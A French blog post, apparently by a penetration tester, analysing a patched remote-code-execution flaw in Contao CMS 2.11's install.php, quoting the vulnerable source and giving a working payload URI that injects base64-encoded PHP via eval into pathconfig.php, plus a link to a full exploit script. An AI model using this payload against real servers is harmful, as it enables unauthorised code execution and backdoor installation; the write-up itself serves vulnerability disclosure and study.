Lors d’un test d’intrusion auquel je participais dans le cadre de mon activité professionnelle, je suis tombé sur ça : https://github.com/contao/core/issues/6855

Ça m’a tout de suite intrigué pour plusieurs raisons :

  • Exploitation d’un fichier d’installation
  • Le niveau de “panique” engendré dans le fil de conversation
  • La vitesse de réponse et de publication d’un patch dont le changelog fait état d’un bug critique

Ne trouvant pas d’exploit sur Internet, j’ai décidé de regarder d’un peu plus près.

Laisser un script d’installation de CMS disponible en public c’est mal

Et les développeurs de Contao en sont conscients. C’est pourquoi, ils forcent la mise en place d’un mot de passe sur l’interface d’installation. Chose intéressante, dans mon cas le script d’installation était bloqué par une utilisation de 3 mots de passe faux. Il semblerait que quelqu’un (ou quelque chose) soit déjà passé par là…

Je mets donc les mains dans le cambouis étant donné que les éléments de reproduction ont été retirés du fil de discussion.

Je commence à regarder du côté de install.php et un bout de code attire mon attention (il est placé ailleurs dans les versions patchées) :

// Remove the pathconfig.php file if TL_PATH is wrong (see #5428)
if (($strPath = preg_replace('/\/contao\/[^\/]*$/i', '', $this->Environment->requestUri)) != TL_PATH) {
	$objFile = new File('system/config/pathconfig.php');
	$objFile->delete();$this->reload();
}
Source : https://github.com/contao/core/blob/2.11.12/contao/install.php

Jusqu’ici rien de choquant, si quelque chose est inconsistant entre l’URI et la racine du serveur, on supprime le fichier définissant ladite URI. Ce qui est néanmoins intéressant c’est qu’on se trouve dans le constructeur de la classe initialisant l’installation, avant même toute authentification et qu’on peut manipuler l’URI. On peut donc supprimer le fichier pathconfig.php. Sachant qu’il est régénéré par la suite, il n’y a rien de bien alarmant.

Les choses se corsent quand on pense à regarder au-delà et qu’on vérifie de quelle manière TL_PATH est définie. Ceci est fait dans le script initialize.php, qui est appelé au début de la page install.php :

if (file_exists(TL_ROOT . '/system/config/pathconfig.php')) {
	define('TL_PATH', include TL_ROOT . '/system/config/pathconfig.php');
} elseif (TL_MODE == 'BE') {
	define('TL_PATH', preg_replace('/\/contao\/[^\/]*$/i', '', $objEnvironment->requestUri));
} else {
	define('TL_PATH', null); // cannot be reliably determined
}
Source : https://github.com/contao/core/blob/2.11.12/system/initialize.php

Ce code est exécuté au tout début du script install.php et définit TL_PATH. On remarque la définition à partir de l’URI fournie par l’utilisateur dans le cas où TL_MODE est égal à “BE”. Je vous donne dans le mille, c’est le cas lorsqu’on se trouve sur la page install.php :

/**
* Initialize the system
*/

define('TL_MODE', 'BE');
require_once('../system/initialize.php');
Source : https://github.com/contao/core/blob/2.11.12/contao/install.php

Donc techniquement on peut contourner la protection fournie par l’expression régulière avec l’URI suivante : /contao/install.php?/contao/nimportequoisansslash

Cette URI deviendra, une fois le preg_replace effectué : /contao/install.php? contre une URI normalement attendue: /

Mais il reste quelque chose de plus gênant dans la suite du script d’initialisation :

<?php
/**
* Store the relative path
*
* Only store this value if the temp directory is writable and the local
* configuration file exists, otherwise it will initialize a Files object and
* prevent the install tool from loading the Safe Mode Hack (see #3215).
*/

if (TL_PATH !== null && !file_exists(TL_ROOT . '/system/config/pathconfig.php')) {
	if (is_writable(TL_ROOT . '/system/tmp') && file_exists(TL_ROOT . '/system/config/localconfig.php')) {
    	try{
        	$objFile = new File('system/config/pathconfig.php');
            $objFile->write("<?php\n\n// Relative path to the installation\nreturn '" . TL_PATH . "';\n");
            $objFile->close();
        } catch (Exception $e) {
        	log_message($e->getMessage());
        }
    }
}

On observe que la variable TL_PATH est écrite dans un fichier PHP sans aucune protection.

Mais uniquement si le fichier pathconfig.php n’existe pas… Oh wait… On peut le supprimer via install.php en générant une URI incohérente avec le TL_PATH comme celle indiquée ci-dessus !

Il nous reste donc à écrire notre code PHP dans l’URL (un PHPinfo encodé en base64 ici) : /contao/install.php?’.eval(base64_decode(‘cGhwaW5mbygpOw==’)).’/contao/..

En chargeant la page d’accueil, qui charge pathconfig.php pour récupérer le TL_PATH, on peut donc exécuter ce code PHP sur le serveur !

Plus qu’à balancer notre backdoor 🙂

Conclusion

Cette vulnérabilité a 2 ans et de nombreuses versions patchées sont sorties entre temps. Néanmoins, j’ai eu la chance de tomber sur une version qui n’est pas à jour pour déceler cette vulnérabilité corrigée discrètement. Comme je suis peu adepte de la sécurité par l’obscurité et que j’aime bien parler technique, j’ai écrit cet article et un petit exploit permettant d’exécuter le code souhaité chez notre victime.

Attention : pour utiliser cet exploit vous avez intérêt à bien signer un accord écrit avec toutes les parties concernées (votre cible, son hébergeur, etc…). C’est votre responsabilité qui est engagée si vous utilisez ces informations à mauvais escient.

L’exploit n’est normalement fonctionnel qu’une fois et un retour à la normale est fait au rechargement du fichier install.php (sans la payload). Une exception cependant : un code PHP bugué pourrit l’installation et vous devrez alors avertir l’administrateur pour qu’il supprime manuellement le fichier pathconfig.php. Une erreur PHP bloque l’exécution avant la suppression du fichier pathconfig.php. Si une redirection est faite depuis la page d’accueil pensez à l’intercepter avant de la suivre !

Vous pouvez trouver le contenu de l’exploit que j’ai écrit ici : http://www.kilawyn.fr/exploits/ContaoInstallRCE.txt